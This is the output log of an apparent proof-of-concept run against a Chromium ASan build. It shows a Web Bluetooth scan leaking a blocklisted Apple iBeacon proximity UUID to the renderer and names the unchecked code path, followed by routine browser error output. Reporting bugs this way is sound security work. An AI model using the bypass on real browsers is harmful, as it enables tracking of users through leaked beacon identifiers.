[*] starting http server on http://127.0.0.1:8765/poc.html [*] launching chrome: /chromium/chromium/src/out/asan/chrome --no-first-run --no-default-browser-check --disable-gpu --user-data-dir=/tmp/chrome-poc-ibeacon --enable-experimental-web-platform-features --enable-features=WebBluetooth --headless=new --remote-debugging-port=9333 --remote-allow-origins=* about:blank [*] browser CDP endpoint: ws://127.0.0.1:9333/devtools/browser/4ad25e13-ff52-49a7-a4f9-1c3bb338f48e [*] BluetoothEmulation enabled (FakeCentral installed) [*] startScan() -> 'scan-started' [*] simulated iBeacon advertisement (company=0x004c, prefix=0x02) ========== renderer-side log ========== [+] requestLEScan resolved, scan.active=true [+] advertisementreceived from NstNsHuxSFss3AZfjV6q/g== manufacturerData company=0x004c data=[02 15 e2 c5 6d b5 df fb 48 d2 b0 60 d0 f5 a7 10 96 e0 00 01 00 02 c5] [!] BLOCKLIST BYPASS: iBeacon proximity UUID leaked to renderer proximity UUID = e2 c5 6d b5 df fb 48 d2 b0 60 d0 f5 a7 10 96 e0 ======================================= [!] VULNERABILITY CONFIRMED Renderer received blocklisted manufacturer data: companyId = 0x004c (Apple) data prefix = 0x02 (matches blocklist entry {0x02, 0xff}) proximity UUID = e2 c5 6d b5 df fb 48 d2 b0 60 d0 f5 a7 10 96 e0 raw bytes = 02 15 e2 c5 6d b5 df fb 48 d2 b0 60 d0 f5 a7 10 96 e0 00 01 00 02 c5 BluetoothBlocklist::IsExcluded(0x004c, <0x02 ...>) returns true, but ScanningClient::SendEvent never consults the blocklist on the RequestScanningStart path (content/browser/bluetooth/advertisement_client.cc). --- chrome stderr/stdout (tail) --- Fontconfig error: No writable cache directories /var/cache/fontconfig /usr/local/google/home/vmiura/.cache/fontconfig /usr/local/google/home/vmiura/.fontconfig Fontconfig error: No writable cache directories /var/cache/fontconfig /usr/local/google/home/vmiura/.cache/fontconfig /usr/local/google/home/vmiura/.fontconfig Fontconfig error: No writable cache directories /var/cache/fontconfig /usr/local/google/home/vmiura/.cache/fontconfig /usr/local/google/home/vmiura/.fontconfig [1416:1435:0404/102637.398009:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1416:1416:0404/102637.422115:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1416:1435:0404/102637.537756:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1416:1435:0404/102637.622708:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory DevTools listening on ws://127.0.0.1:9333/devtools/browser/4ad25e13-ff52-49a7-a4f9-1c3bb338f48e [1416:1416:0404/102637.640663:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1416:1435:0404/102637.641106:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1416:1416:0404/102637.642284:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1416:1416:0404/102637.663334:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1416:1416:0404/102637.674152:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1416:1435:0404/102637.674568:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory (chrome-poc-ibeacon --enable-experimental-web-platform-features --enable-features=WebBluetooth --headless=new --remote-debugging-port=9333 --remote-allow-origins=* --noerrdialogs --ozone-platform=headless --ozone-override-screen-size=800,600 --use-angle=swiftshader-webgl about:blank:1416): dbind-WARNING **: 10:26:37.690: Couldn't connect to accessibility bus: Failed to connect to socket /run/user/229127/at-spi/bus_20: No such file or directory [1416:1416:0404/102638.171048:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1416:1435:0404/102638.171072:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [1416:1435:0404/102638.171452:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [1416:1416:0404/102638.182879:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1416:1435:0404/102638.183520:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1416:1416:0404/102638.227745:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.Properties.GetAll: object_path= /org/freedesktop/UPower/devices/DisplayDevice: unknown error type: [1416:1416:0404/102638.248654:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1416:1435:0404/102638.249185:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1416:1436:0404/102638.282234:ERROR:crypto/nss_util.cc:79] Failed to create /usr/local/google/home/vmiura/.local/share/pki/nssdb directory. [1416:1416:0404/102638.321037:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1416:1435:0404/102638.321536:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1416:1416:0404/102638.366725:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: